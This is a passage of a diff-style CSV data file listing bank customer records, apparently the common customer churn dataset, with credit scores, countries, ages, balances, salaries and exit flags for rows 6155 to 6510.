+6155,15598162,Saunders,754,Germany,Female,39,3,160761.41,1,1,1,24156.03,0 +6156,15694300,Fiorentino,759,France,Male,26,4,0,2,1,0,135394.62,0 +6157,15637235,Knight,794,Spain,Male,33,8,0,2,0,0,91340.02,0 +6158,15612444,Manfrin,549,France,Male,29,3,0,2,1,0,146090.38,0 +6159,15626457,Zetticci,671,France,Male,31,0,116234.61,1,1,0,172096.08,0 +6160,15627995,Angelo,756,Germany,Female,26,5,155143.52,1,0,1,135034.57,1 +6161,15706128,Zhdanov,632,France,Female,21,1,0,2,1,0,84008.66,0 +6162,15666430,Peck,579,France,Male,38,8,0,2,0,0,91763.67,0 +6163,15627385,Uwaezuoke,748,France,Male,34,5,84009.47,1,1,1,137001.1,0 +6164,15581323,White,488,Germany,Female,28,7,139246.22,2,1,0,106799.49,0 +6165,15608109,Greco,710,Germany,Male,58,7,170113,2,0,1,10494.64,0 +6166,15801942,Chu,619,Spain,Female,41,8,0,3,1,1,79866.73,1 +6167,15567431,Kodilinyechukwu,773,France,Male,64,2,145578.28,1,0,1,186172.85,0 +6168,15810167,Scott,657,Spain,Male,75,7,126273.95,1,0,1,91673.6,0 +6169,15644501,Enyinnaya,579,France,Female,26,10,162482.76,1,1,1,18458.2,0 +6170,15785290,Hao,542,France,Male,29,9,0,1,1,0,8342.35,0 +6171,15611157,McElhone,709,France,Female,32,2,87814.89,1,1,0,138578.37,0 +6172,15673837,Ko,617,Spain,Male,61,3,113858.95,1,1,1,38129.22,0 +6173,15656822,Day,568,Germany,Male,43,5,87612.64,4,1,1,107155.4,1 +6174,15580560,Harris,769,France,Female,73,1,0,1,1,1,29792.11,0 +6175,15760641,Gerald,608,Germany,Male,26,1,106648.98,1,0,1,7063.6,0 +6176,15587584,Nebeuwa,503,Spain,Male,31,4,0,2,1,1,21645.06,0 +6177,15604146,Kaodilinakachukwu,608,Germany,Female,38,8,103653.51,2,1,1,137079.86,0 +6178,15813974,Maruff,731,Germany,Male,37,3,116880.53,1,0,0,172718.35,1 +6179,15746986,Howe,850,Germany,Female,40,4,97990.49,2,0,0,106691.02,0 +6180,15759741,Knepper,591,Germany,Female,34,4,150635.3,1,1,1,72274.84,0 +6181,15734892,Fennell,579,Spain,Male,37,4,0,2,1,1,32246.63,0 +6182,15797194,T'ao,570,France,Male,39,10,129674.89,2,1,0,80552.36,0 +6183,15723786,Morris,709,France,Female,37,9,0,2,1,0,16733.59,0 +6184,15642726,Holmes,611,France,Male,53,3,83568.26,1,0,0,1235.49,0 +6185,15664339,Yu,775,Spain,Male,48,4,178144.91,2,0,0,50168.41,1 +6186,15754526,Walker,699,Germany,Male,36,6,147137.74,1,1,1,33687.9,0 +6187,15703037,Edwards,618,France,Male,37,5,0,1,0,1,178705.45,1 +6188,15751412,Harvey,704,France,Male,36,3,114370.41,1,0,1,66810.48,0 +6189,15609558,McDonald,835,Germany,Female,47,5,108289.28,2,1,1,45859.55,1 +6190,15572408,Chambers,714,Germany,Male,39,3,149887.49,2,1,0,63846.36,0 +6191,15613923,Reed,581,Spain,Female,43,4,170172.9,1,0,1,100236.02,0 +6192,15747000,Shih,592,France,Male,27,3,0,2,1,1,19645.65,0 +6193,15731781,Onyemachukwu,551,France,Male,43,7,0,2,1,0,178393.68,0 +6194,15727198,Teng,689,Germany,Female,28,2,64808.32,2,0,0,78591.15,0 +6195,15794273,Hand,604,France,Female,56,0,62732.65,1,0,1,124954.56,0 +6196,15804950,Onyemauchechukwu,514,France,Female,41,7,0,2,1,1,3756.65,0 +6197,15576304,Bailey,698,France,Male,29,5,95167.55,1,1,1,152723.23,0 +6198,15645200,Chiang,581,Germany,Female,54,2,152508.99,1,1,0,187597.98,1 +6199,15779627,Maclean,573,Germany,Male,31,0,134644.19,1,1,1,70381.49,0 +6200,15750755,Yobachi,449,Spain,Female,33,8,0,2,0,0,156792.89,0 +6201,15569654,Munro,850,Germany,Female,31,3,51293.47,1,0,0,35534.68,0 +6202,15753079,Chidi,612,France,Male,41,5,0,3,0,0,151256.22,0 +6203,15684995,Chamberlain,690,Spain,Male,49,8,116622.73,1,0,1,51011.29,0 +6204,15790763,Trujillo,599,Spain,Female,49,2,0,2,1,0,111190.53,0 +6205,15766458,Tang,498,France,Male,33,1,198113.86,1,1,0,69664.35,0 +6206,15616221,Wilson,497,France,Female,29,4,85646.81,1,0,0,63233.02,1 +6207,15776124,Mann,802,Spain,Male,51,7,0,1,0,1,40855.79,0 +6208,15665811,Parry,644,France,Male,33,9,141234.98,1,1,0,95673.05,0 +6209,15729804,Manfrin,714,France,Male,34,10,0,2,1,1,80234.14,0 +6210,15714062,Millar,690,France,Female,40,9,77641.99,1,0,0,189051.59,1 +6211,15592197,Simmons,522,Spain,Male,30,3,0,2,1,0,145490.85,0 +6212,15793116,Beneventi,502,Germany,Female,40,7,117304.29,1,0,0,196278.32,0 +6213,15638231,Chung,730,Spain,Female,62,2,0,2,1,1,162889.1,0 +6214,15697678,Maxwell,590,Germany,Male,36,6,92340.69,2,1,1,174667.58,0 +6215,15800412,Dale,458,Germany,Male,35,9,146780.52,2,1,1,3476.38,0 +6216,15597610,Stevens,553,Spain,Male,41,6,144974.55,1,1,1,19344.92,0 +6217,15726634,Wei,479,France,Male,47,1,0,1,1,0,95270.83,0 +6218,15670866,Chiu,693,France,Male,31,2,0,2,1,1,107759.31,0 +6219,15667462,Duncan,707,Spain,Male,43,10,0,2,1,0,118368.2,0 +6220,15662574,Brady,636,Spain,Male,37,1,115137.26,1,1,0,52484.01,0 +6221,15716926,Macleod,807,France,Male,33,10,101952.97,2,1,0,178153.65,0 +6222,15603554,Berkeley,513,France,Female,45,0,164649.52,3,1,0,49915.52,1 +6223,15716800,Kaur,582,France,Male,31,2,0,2,1,1,33747.03,0 +6224,15679429,Bell,694,France,Male,32,0,91956.49,1,1,1,59961.81,0 +6225,15616122,Nwokike,777,France,Male,39,8,0,2,1,1,18613.52,0 +6226,15742172,Williamson,598,Germany,Male,32,9,123938.6,2,1,0,198894.42,0 +6227,15792305,Mountgarrett,762,Germany,Male,46,6,123571.77,3,0,1,57014.17,1 +6228,15636016,Wreford,588,France,Female,34,3,120777.88,1,1,1,131729.52,0 +6229,15733138,Paterson,663,Germany,Male,42,5,90248.79,1,1,1,79169.73,0 +6230,15669741,Hou,777,France,Male,36,7,0,1,1,0,106472.34,0 +6231,15616954,Smith,592,France,Male,71,4,0,2,0,1,17013.54,0 +6232,15729238,Peng,631,Germany,Male,48,1,106396.48,1,1,1,150661.42,1 +6233,15718242,Wollstonecraft,725,Germany,Female,47,1,104887.43,1,0,0,86622.56,1 +6234,15682914,Bolton,850,France,Male,34,2,72079.71,1,1,1,115767.93,0 +6235,15654274,Corrie,540,France,Male,37,6,0,2,1,0,141998.89,0 +6236,15691457,Boyle,674,Spain,Male,36,2,0,2,1,1,182787.17,0 +6237,15719649,Lambie,553,France,Male,38,3,99844.68,1,0,0,187915.7,0 +6238,15778897,Cartwright,630,France,Female,28,1,0,2,1,1,133267.78,0 +6239,15589437,Lu,466,France,Male,26,3,156815.71,1,1,1,137476.09,0 +6240,15682369,Pisano,613,France,Male,47,6,146034.74,1,1,1,77146.14,0 +6241,15626507,Chukwubuikem,558,France,Male,27,1,152283.39,1,1,0,183271.15,0 +6242,15571995,Harper,775,Germany,Female,33,1,118897.1,2,1,1,26362.4,0 +6243,15673333,Wilson,698,Germany,Male,52,8,96781.39,1,1,1,153373.71,0 +6244,15748752,Ch'in,608,Germany,Male,33,1,102772.67,2,1,0,70705.58,0 +6245,15725302,Streeton,670,Spain,Female,20,4,0,2,1,0,119759.24,0 +6246,15722083,Ch'ang,591,Spain,Male,39,8,0,2,0,0,42392.24,0 +6247,15771442,Pennington,633,France,Male,40,4,150578,1,0,1,34670.62,1 +6248,15803633,T'ien,678,France,Female,46,1,0,2,0,0,82106.19,0 +6249,15672185,Liu,590,France,Male,47,3,0,2,1,0,171774.5,0 +6250,15806486,Cunningham,705,France,Female,48,0,0,2,0,0,149772.61,0 +6251,15570895,Ch'in,608,France,Male,42,10,163548.07,1,1,0,38866.85,0 +6252,15614520,Smith,682,France,Female,37,8,148580.12,1,1,0,35179.18,0 +6253,15687492,Anderson,596,Germany,Male,32,3,96709.07,2,0,0,41788.37,0 +6254,15675337,Forbes,395,Germany,Female,34,5,106011.59,1,1,1,17376.57,1 +6255,15721047,Ansell,578,Germany,Male,37,1,135650.88,1,1,0,199428.19,0 +6256,15589017,Chiu,547,Germany,Male,55,4,111362.76,3,1,0,16922.28,1 +6257,15611186,Yevdokimova,609,France,Male,37,1,39344.83,1,1,1,178291.89,1 +6258,15617301,Chamberlin,774,Germany,Male,36,9,130809.77,1,1,0,152290.28,0 +6259,15726046,Johnston,712,France,Female,27,2,133009.51,1,1,0,126809.15,0 +6260,15585748,McDonald,585,Germany,Female,28,9,135337.49,2,1,1,40385.61,0 +6261,15672826,Chen,666,France,Female,32,10,112536.57,2,1,1,34350.54,0 +6262,15595162,Cattaneo,708,Spain,Female,35,8,122570.69,1,0,0,199005.88,0 +6263,15650026,Barclay-Harvey,513,France,Male,44,1,63562.02,2,0,1,52629.73,1 +6264,15745826,Dawson,445,France,Male,37,3,0,2,1,1,180012.39,0 +6265,15708610,Costa,690,Germany,Male,44,9,100368.63,2,0,0,35342.33,0 +6266,15624471,Chikwado,850,France,Male,37,6,0,2,1,0,109291.22,0 +6267,15590097,Ch'eng,537,Spain,Female,33,7,136082,1,1,0,62746.54,0 +6268,15689328,Harrison,705,Germany,Male,48,9,114169.16,1,0,0,173273.2,1 +6269,15582154,Crawford,670,France,Female,45,5,47884.92,1,1,1,54340.24,0 +6270,15734626,Gibson,652,Spain,Female,36,1,0,2,1,1,19302.78,0 +6271,15702806,Martin,696,Spain,Male,24,9,0,1,0,0,10883.52,0 +6272,15620756,Stokes,747,France,Male,49,6,202904.64,1,1,1,17298.72,1 +6273,15611331,Niu,511,France,Female,46,1,0,1,1,1,115779.48,1 +6274,15576935,Ampt,743,Spain,Male,43,2,161807.18,2,0,1,93228.86,1 +6275,15661275,Wynn,532,Germany,Male,52,3,110791.97,1,1,0,148704.77,1 +6276,15814940,Lawrence,642,Spain,Female,33,9,0,2,1,1,150475.14,0 +6277,15768471,Wagner,554,Germany,Female,54,6,108755,1,1,0,40914.32,1 +6278,15697391,Argyle,604,Spain,Female,34,3,0,2,1,0,38587.7,0 +6279,15793346,Ofodile,602,France,Female,72,3,0,2,1,1,171260.66,0 +6280,15608338,Chiemenam,757,Spain,Female,55,9,117294.12,4,1,0,94187.47,1 +6281,15578546,Akobundu,491,Germany,Male,26,4,102251.14,1,1,1,145900.89,0 +6282,15656921,Locke,850,France,Male,31,4,0,2,0,0,152298.28,0 +6283,15761340,Bullen,521,France,Male,22,5,0,2,1,1,99828.45,0 +6284,15591135,Forster,726,France,Male,37,2,132057.92,2,1,0,34743.98,0 +6285,15623219,Smith,596,France,Male,33,8,0,1,1,0,121189.3,1 +6286,15655229,Craig,850,Germany,Female,35,7,114285.2,1,0,1,129660.59,0 +6287,15805884,Archer,637,France,Female,41,9,0,2,1,0,145477.36,0 +6288,15668289,McWilliams,690,Spain,Male,32,2,76087.98,1,0,1,151822.66,0 +6289,15568562,Moss,689,France,Male,40,8,160272.27,1,1,0,49656.24,0 +6290,15773276,Townsend,633,Spain,Male,63,4,114552.6,1,1,0,73856.28,1 +6291,15622801,Brown,555,France,Female,27,8,102000.17,1,1,1,116757,0 +6292,15779886,Munson,563,Spain,Male,24,7,0,2,0,0,16319.56,0 +6293,15713673,T'ien,494,France,Female,33,1,137853,1,0,1,90273.85,0 +6294,15783083,Shubin,534,France,Male,27,9,0,2,1,0,161344.13,0 +6295,15742824,Isayeva,696,Germany,Male,42,7,162318.61,1,1,0,121061.89,0 +6296,15621550,Hung,535,Spain,Female,50,1,140292.58,3,0,0,69531.22,1 +6297,15799480,Webb,600,France,Male,34,0,0,2,0,1,3756.23,0 +6298,15625247,Scott,807,France,Female,34,1,0,1,0,0,114448.13,0 +6299,15755241,Rahman,714,France,Female,52,2,0,1,0,1,144045.08,1 +6300,15575679,Lori,590,France,Male,24,7,126431.54,1,1,0,58781.11,0 +6301,15668235,Cooke,614,France,Female,41,3,123475.04,1,1,1,179227.52,0 +6302,15683183,Volkova,766,Germany,Female,45,6,97652.96,1,1,0,127332.33,0 +6303,15684592,Lamb,557,Spain,Male,42,4,0,2,0,1,86642.38,0 +6304,15591169,Hawes,788,Germany,Female,49,4,137455.99,1,1,0,184178.29,1 +6305,15653455,Smith,648,France,Female,38,2,0,2,0,1,9551.49,0 +6306,15732563,Swanton,726,Germany,Female,33,7,99046.31,2,1,1,56053.06,0 +6307,15656471,Mitchell,773,France,Male,33,9,0,2,1,1,1118.31,0 +6308,15598510,Colombo,583,Germany,Male,27,4,105907.42,2,1,1,195732.04,0 +6309,15766427,Shaw,565,Germany,Male,52,5,97720.35,2,1,0,175070.94,1 +6310,15785342,Shipp,705,France,Male,25,9,0,2,0,1,112331.19,0 +6311,15641595,Jonathan,685,Spain,Male,43,4,97392.18,2,1,0,43956.83,0 +6312,15798429,Hernandez,741,France,Male,29,8,0,2,1,1,115994.52,0 +6313,15648136,Green,658,Germany,Female,28,9,152812.58,1,1,0,166682.57,0 +6314,15812482,Young,575,France,Male,27,3,139301.68,1,1,0,99843.98,0 +6315,15790810,Han,844,France,Female,41,10,76319.64,1,1,1,141175.18,1 +6316,15687421,Highland,559,Spain,Male,67,9,125919.35,1,1,0,175910.95,1 +6317,15765643,Hamilton,725,France,Male,37,6,124348.38,2,0,1,176984.34,0 +6318,15654878,Yobanna,450,France,Male,29,7,117199.8,1,1,1,43480.63,0 +6319,15686835,Crawford,738,Germany,Female,57,9,148384.64,1,0,0,155047.11,1 +6320,15768340,Beavers,642,Germany,Female,19,3,113905.48,1,1,1,176137.2,0 +6321,15673599,Williamson,618,Spain,Male,32,5,133476.09,1,0,1,154843.4,0 +6322,15689096,Beneventi,590,France,Male,47,0,117879.32,1,1,1,8214.46,0 +6323,15684294,Chidumaga,735,France,Male,50,2,0,2,0,1,147075.69,0 +6324,15615828,Mitchell,550,France,Male,34,8,122359.5,1,0,0,116495.55,0 +6325,15746012,Chibugo,729,Spain,Female,28,0,0,2,1,1,31165.06,1 +6326,15615797,Hyde,743,Germany,Male,59,5,108585.35,1,1,1,192127.22,1 +6327,15788494,Alekseeva,555,France,Male,31,8,145875.74,1,1,0,137491.23,0 +6328,15793856,Abdulov,667,Spain,Female,36,3,121542.57,2,1,1,186841.71,0 +6329,15629545,Buckley,790,Spain,Female,41,7,109508.68,1,0,0,86776.38,0 +6330,15661198,Howard,727,Germany,Male,34,2,146407.11,1,1,1,72073.72,0 +6331,15715117,Peel,744,France,Female,39,6,0,1,0,0,10662.58,0 +6332,15701074,Herz,629,Germany,Male,35,8,112330.83,1,1,1,91001.02,0 +6333,15793046,Holden,619,France,Female,35,4,90413.12,1,1,1,20555.21,0 +6334,15623744,McLean,634,France,Male,34,8,105302.66,1,1,1,123164.97,0 +6335,15611329,Findlay,608,Spain,Female,35,6,0,2,1,1,143463.28,0 +6336,15740428,Wyatt,507,France,Female,35,1,0,2,0,0,92131.54,0 +6337,15781534,Rapuluolisa,536,Germany,Female,35,4,121520.36,1,0,0,77178.42,0 +6338,15618243,Buckland,730,Spain,Female,43,1,103960.38,1,1,1,193650.16,0 +6339,15784161,Hargreaves,583,Germany,Male,39,8,102945.01,1,0,0,52861.89,0 +6340,15700325,Onyeoruru,644,France,Female,24,8,92760.55,1,1,0,35896.75,0 +6341,15659064,Salas,790,Spain,Male,37,8,0,2,1,1,149418.41,0 +6342,15658364,Laney,807,Germany,Female,40,1,134590.21,1,1,1,46253.65,0 +6343,15704340,Fu,581,France,Female,37,10,104255.03,1,1,0,86609.37,0 +6344,15793455,Tien,627,Spain,Female,55,6,0,1,0,0,91943.94,1 +6345,15579777,Sazonova,850,France,Male,41,3,0,2,1,0,128892.36,0 +6346,15632345,Tuan,754,France,Female,35,4,0,2,1,0,44830.71,0 +6347,15814468,Wei,551,Germany,Male,50,1,121399.98,1,0,1,84508.44,1 +6348,15754820,Bergamaschi,637,Germany,Male,35,8,147127.81,2,1,1,84760.7,0 +6349,15707505,Taylor,699,Spain,Male,31,8,125927.51,2,1,0,147661.47,0 +6350,15699507,Messersmith,542,France,Female,25,7,0,2,0,1,82393.08,0 +6351,15799600,Coles,640,Germany,Male,48,1,111599.32,1,0,1,135995.58,0 +6352,15794472,Brookes,553,France,Female,27,3,0,2,0,0,159800.16,0 +6353,15646632,Reid,741,France,Male,38,9,0,2,1,0,14379.01,0 +6354,15676353,Etheridge,598,France,Male,35,8,114212.6,1,1,1,74322.85,0 +6355,15566312,Jolly,660,Spain,Female,42,5,0,3,1,1,189016.24,1 +6356,15570414,Chizoba,618,Spain,Male,41,4,115251.64,1,0,0,136435.75,0 +6357,15776743,Eberegbulam,647,France,Male,43,9,0,2,1,1,78488.39,0 +6358,15674637,Pagnotto,491,France,Female,68,3,107571.61,1,0,1,113695.99,0 +6359,15730418,Lucchesi,652,France,Female,32,2,0,2,1,0,54628.11,0 +6360,15739972,Hughes,650,Germany,Female,45,9,152367.21,3,1,0,150835.21,1 +6361,15661591,Panicucci,413,Germany,Male,39,1,130969.77,2,1,1,158891.79,0 +6362,15675585,Burns,416,Germany,Female,25,0,97738.97,2,1,1,160523.33,0 +6363,15814750,Ricci,629,Spain,Male,34,8,0,2,1,1,180595.02,0 +6364,15593454,Lambert,678,Spain,Female,40,4,113794.22,1,1,0,16618.76,0 +6365,15663421,Esposito,527,Spain,Male,28,6,128396.33,2,1,0,79919.97,0 +6366,15576196,Benson,743,Spain,Female,48,5,118207.69,2,0,0,186489.14,1 +6367,15677324,Botts,683,Germany,Male,73,9,124730.26,1,1,1,51999.5,0 +6368,15568742,Parkes,536,France,Female,41,9,0,1,1,0,121299.14,0 +6369,15693764,Mai,663,Spain,Male,52,0,136298.65,1,1,0,144593.3,1 +6370,15714260,Castiglione,646,France,Female,38,2,0,2,0,0,178752.73,0 +6371,15798200,Manna,707,France,Male,35,2,0,3,1,1,94148.3,0 +6372,15656627,Lin,602,France,Male,34,5,0,2,1,1,77414.45,0 +6373,15791111,Fink,635,France,Female,47,2,125724.95,2,1,0,63236.97,0 +6374,15638269,Baresi,597,France,Male,67,2,0,2,0,1,108645.85,0 +6375,15807473,Morehead,503,France,Male,38,1,0,2,1,1,95153.24,0 +6376,15708534,Afamefuna,524,Spain,Female,64,5,0,1,1,0,136079.64,1 +6377,15640686,Greco,700,France,Male,46,5,95872.86,1,1,0,98273.01,1 +6378,15588904,Balashova,692,France,Male,33,9,0,1,1,0,113505.93,1 +6379,15768763,Bogdanov,562,France,Male,37,2,0,1,0,1,52525.15,1 +6380,15770543,Lowe,679,France,Male,37,7,74260.03,1,1,0,194617.98,0 +6381,15642162,Ponce,603,Germany,Male,35,1,123407.69,1,1,0,152541.89,1 +6382,15714046,Trevisano,720,Spain,Male,33,3,123783.91,2,1,1,142903.44,0 +6383,15575060,Gardner,797,France,Male,24,5,0,2,1,0,182257.61,0 +6384,15812040,Lorenzo,594,France,Male,36,6,153880.15,1,0,0,135431.72,0 +6385,15812073,Palmer,529,France,Female,31,7,0,2,1,1,175697.87,0 +6386,15706810,Zuyeva,606,Germany,Female,32,1,106301.85,2,0,1,59061.25,0 +6387,15584090,Jen,621,Spain,Female,40,7,0,2,0,1,131283.6,1 +6388,15810807,Alekseeva,513,France,Female,43,9,0,2,1,0,152499.8,0 +6389,15582033,Manfrin,753,Germany,Male,44,3,138076.47,1,1,0,15523.09,1 +6390,15687607,Chiemenam,605,France,Female,30,9,135422.31,1,0,1,186418.85,0 +6391,15588406,Chiemenam,574,Spain,Female,37,7,0,2,1,0,32262.28,0 +6392,15784099,Clark,726,France,Female,38,5,126875.62,1,1,0,128052.29,0 +6393,15701352,Fanucci,611,Spain,Female,28,3,96381.68,2,1,0,181419.29,0 +6394,15789371,Cattaneo,593,Germany,Female,41,4,119703.1,2,1,1,109783.29,0 +6395,15602845,Udinesi,466,Germany,Male,41,2,152102.18,2,1,0,181879.56,0 +6396,15707918,Bentley,741,Germany,Female,36,0,127675.39,2,1,0,74260.16,0 +6397,15602812,Holmes,684,Germany,Female,44,2,133776.86,2,0,1,49865.04,0 +6398,15675888,Austin,550,Spain,Female,33,9,72788.03,1,1,1,103608.06,0 +6399,15591822,Mackenzie,593,Spain,Male,26,9,76226.9,1,1,0,167564.82,0 +6400,15738501,Booth,601,Germany,Male,48,9,163630.76,1,0,1,41816.49,1 +6401,15585907,Collier,676,Spain,Female,30,5,0,2,0,0,179066.58,0 +6402,15579040,Hs?,556,France,Female,46,10,0,2,0,0,109184.24,0 +6403,15804211,Oluchukwu,719,France,Male,36,3,155423.17,1,1,1,199841.32,0 +6404,15736126,Sung,850,Germany,Male,55,0,98710.89,1,1,1,83617.17,1 +6405,15745399,Marino,649,Spain,Female,49,2,0,1,1,0,84863.85,1 +6406,15760749,Vinogradov,509,Spain,Male,41,7,126683.8,1,0,1,114775.53,0 +6407,15637118,Burns,684,France,Male,33,4,140700.61,1,1,0,103557.93,0 +6408,15657829,Fanucci,806,Germany,Male,30,8,168078.83,1,1,0,85028.36,1 +6409,15738497,Chukwujamuike,729,Spain,Male,44,4,107726.93,2,1,0,153064.87,0 +6410,15690695,Flynn,683,France,Female,33,9,0,2,1,1,38784.42,0 +6411,15762351,Chao,689,Spain,Female,63,1,0,2,1,1,186526.12,0 +6412,15791172,Yeh,672,Germany,Female,21,1,35741.69,1,1,0,28789.94,0 +6413,15598982,Klein,602,Germany,Female,53,5,98268.84,1,0,1,45038.29,1 +6414,15734765,Mahmood,739,France,Female,20,4,133800.98,1,0,1,150245.81,0 +6415,15642912,Tu,618,France,Female,21,2,125682.79,1,0,0,57762,0 +6416,15769516,Shcherbakov,674,France,Female,42,9,0,2,1,0,4292.72,0 +6417,15789379,Zetticci,762,France,Male,26,6,130428.78,1,1,0,173365.89,0 +6418,15695103,Carr,790,Spain,Male,37,6,0,2,1,1,119484.01,0 +6419,15801924,Browne,754,Spain,Female,27,8,0,2,0,0,121821.16,0 +6420,15767804,Feng,729,France,Male,44,6,0,2,1,0,151733.43,0 +6421,15718039,Ferguson,606,Germany,Female,47,0,137138.2,2,0,1,53784.22,0 +6422,15579994,Shaw,616,France,Male,23,8,73112.95,1,1,1,62733.05,0 +6423,15595037,Palermo,772,France,Male,47,9,152347.01,1,0,1,17671.78,0 +6424,15600720,Moore,652,Spain,Male,41,8,115144.68,1,1,0,188905.43,0 +6425,15782608,Huang,743,France,Male,43,5,0,2,0,0,113079.19,1 +6426,15566894,Gray,793,France,Male,39,3,137817.52,1,0,0,83997.79,0 +6427,15749123,Sokolova,743,Spain,Male,45,7,157332.26,1,1,0,125424.42,0 +6428,15668943,Henderson,746,France,Male,37,2,0,2,1,0,143194.05,0 +6429,15577423,Mosley,627,Germany,Female,39,5,124586.93,1,1,0,93132.61,1 +6430,15623102,Nnaemeka,713,Spain,Male,38,6,116980.78,2,0,1,76038.38,0 +6431,15728012,Everett,678,Spain,Female,40,3,128398.38,1,1,0,168658.3,0 +6432,15683363,Goddard,540,Spain,Male,39,1,0,1,0,1,108419.41,0 +6433,15699335,Kuo,615,Germany,Female,33,3,137657.25,2,1,1,171657.57,0 +6434,15574369,Bianchi,415,Spain,Male,53,5,167259.44,1,1,1,22357.25,0 +6435,15703167,Rouse,628,France,Female,45,8,0,2,1,0,193903.06,0 +6436,15754874,Nwoye,700,France,Male,26,4,119009.57,1,1,0,141926.43,0 +6437,15723216,Greco,623,Germany,Male,33,2,80002.33,1,1,1,104079.62,0 +6438,15725094,Fang,623,France,Female,37,4,140211.88,1,1,1,93832.33,0 +6439,15647974,Chiemenam,679,France,Female,44,3,118742.74,2,1,0,1568.91,0 +6440,15583371,Artemiev,632,Spain,Male,37,1,138207.08,1,1,0,60778.11,1 +6441,15772559,Burrows,790,France,Female,47,10,148636.21,1,0,1,16119.96,1 +6442,15711251,Chizuoke,514,France,Male,45,1,178827.79,1,1,0,60375.18,0 +6443,15719212,T'ien,491,France,Male,33,5,83134.3,1,1,0,187946.55,0 +6444,15764927,Rogova,753,France,Male,92,3,121513.31,1,0,1,195563.99,0 +6445,15731412,Trevisano,693,Germany,Female,37,6,95900.04,1,1,1,38196.24,0 +6446,15719170,Sagese,679,France,Female,30,1,112543.42,1,1,1,179435.21,0 +6447,15596011,Artyomova,529,Spain,Male,34,9,0,1,1,1,93208.22,0 +6448,15614834,Long,619,Spain,Female,31,3,141751.82,1,0,1,61531.86,0 +6449,15600510,Hsueh,680,Spain,Female,37,6,124140.57,2,1,0,92826.35,0 +6450,15625706,White,693,Germany,Male,45,2,116546.59,2,0,0,23140.28,1 +6451,15781409,Lazarev,834,France,Female,28,6,0,1,1,0,74287.53,0 +6452,15722583,Benjamin,636,Spain,Female,29,6,157576.47,2,1,1,101102.39,0 +6453,15677243,Wan,538,Spain,Male,43,5,0,2,1,0,126933.73,0 +6454,15815070,Romano,566,Germany,Female,44,5,141428.99,2,0,0,68408.74,0 +6455,15705899,Craig,597,Spain,Male,35,0,127510.99,1,1,1,155356.34,0 +6456,15701522,Yermolayeva,711,France,Female,29,9,0,2,0,1,3234.8,0 +6457,15755978,Tseng,606,France,Male,31,10,0,2,1,0,195209.4,0 +6458,15722090,Tseng,615,Spain,Male,51,6,81818.49,1,1,1,169149.38,0 +6459,15783526,Le Hunte,589,France,Male,36,1,100895.54,1,1,1,68075.14,0 +6460,15632125,Blake,606,Germany,Male,45,5,63832.43,1,1,1,93707.8,0 +6461,15688395,Lane,582,France,Male,29,4,0,2,0,0,156153.27,0 +6462,15666975,Sparks,710,France,Female,36,4,116085.06,1,1,0,58601.61,0 +6463,15682211,Tu,467,France,Male,57,1,0,2,1,1,114448.77,0 +6464,15637411,Tochukwu,749,France,Male,30,1,0,2,0,1,126551.65,0 +6465,15591512,Whittaker,564,Germany,Female,33,2,115761.51,1,0,1,112350.21,1 +6466,15606855,Wang,730,Spain,Male,26,6,0,2,1,1,185808.7,0 +6467,15763683,Northern,678,Germany,Male,32,4,139626.01,1,1,1,118235.52,1 +6468,15641782,Humphries,540,France,Female,31,7,0,1,0,1,183051.6,1 +6469,15677184,Cremonesi,767,France,Female,35,6,115576.44,1,0,1,27922.45,0 +6470,15775042,Ku,615,France,Female,23,4,0,2,1,0,196476.19,0 +6471,15616630,Tobenna,583,Germany,Female,41,5,77647.6,1,1,0,190429.52,0 +6472,15800233,Okwuadigbo,850,France,Female,40,5,0,2,1,0,35034.15,0 +6473,15588419,Johnston,651,Germany,Female,34,10,148962.46,1,1,0,66389.43,1 +6474,15595557,Li,798,France,Male,22,8,0,2,1,0,107615.43,0 +6475,15626143,Talbot,695,France,Male,37,2,0,2,1,1,99692.65,0 +6476,15566030,Tu,497,Germany,Male,41,5,80542.81,1,0,0,88729.22,1 +6477,15701412,T'ien,739,France,Male,40,4,0,2,0,0,173321.65,0 +6478,15702464,Ross,549,France,Female,34,4,0,2,0,0,139463.57,0 +6479,15573348,Maclean,850,France,Male,35,9,102050.47,1,1,1,3769.71,0 +6480,15704160,Wan,648,Spain,Male,49,5,0,1,1,0,149946.43,1 +6481,15693704,Tsou,679,France,Female,24,6,114948.76,2,0,1,135768.25,0 +6482,15664752,Jack,606,Germany,Male,39,8,136000.45,2,1,0,31708.53,0 +6483,15628292,Lucchesi,850,France,Male,32,4,156001.68,2,1,1,151677.31,0 +6484,15621195,Ch'eng,619,Germany,Male,41,3,147974.16,2,1,0,170518.83,0 +6485,15668629,Saunders,719,Spain,Male,44,2,0,2,1,0,196582.19,0 +6486,15635197,Glover,640,Germany,Male,26,5,90402.77,1,1,1,3298.65,0 +6487,15592761,Tung,710,France,Male,40,5,0,2,0,0,162878.96,0 +6488,15574283,Padovano,580,France,Male,31,2,0,2,0,1,64014.24,0 +6489,15598097,Johnstone,550,France,Male,44,9,0,2,1,0,26257.01,0 +6490,15711352,Endrizzi,841,France,Female,31,3,162701.65,2,1,1,126794.56,0 +6491,15620751,Secombe,760,France,Male,34,2,0,2,1,0,164162.44,0 +6492,15656717,Elewechi,687,France,Female,30,6,0,2,0,0,179206.92,0 +6493,15643121,Chu,753,Germany,Female,35,5,82453.96,2,0,0,18254.75,0 +6494,15723671,Lucciano,661,France,Male,35,9,100107.99,1,1,0,83949.68,0 +6495,15752846,Pinto,699,France,Male,28,7,0,2,1,1,22684.78,0 +6496,15640852,McGregor,617,Germany,Female,39,5,83348.89,3,1,0,7953.62,1 +6497,15789313,Ugorji,595,Germany,Female,44,4,96553.52,2,1,0,143952.24,1 +6498,15793688,Bancks,669,France,Male,50,9,201009.64,1,1,0,158032.5,1 +6499,15770405,Warlow-Davies,613,France,Female,27,5,125167.74,1,1,0,199104.52,0 +6500,15702561,Dale,782,France,Male,32,9,0,1,1,1,87566.97,0 +6501,15625964,Buckley,582,France,Female,43,5,153313.67,1,0,0,170563.73,0 +6502,15761364,Nkemjika,679,France,Male,30,9,0,2,1,0,157871.55,0 +6503,15590286,Fairley,611,France,Female,40,2,125879.29,1,1,0,93203.43,0 +6504,15587978,Boothby,455,Germany,Female,37,6,170057.62,1,0,1,54398.56,0 +6505,15773242,Chukwuhaenye,621,France,Male,32,1,0,2,1,1,168779.47,0 +6506,15761053,Lock,596,Germany,Male,48,2,131326.47,1,0,0,1140.02,1 +6507,15702095,Clarke,585,Spain,Female,56,1,128472.8,1,1,0,186476.91,1 +6508,15764253,Ramsey,742,France,Male,32,6,160485.16,1,1,0,29023.03,0 +6509,15700801,Eipper,850,Germany,Male,42,6,84445.68,3,0,1,60021.34,1 +6510,15730590,Ko,738,Germany,Female,40,1,115409.18,2,0,0,180456.8,0 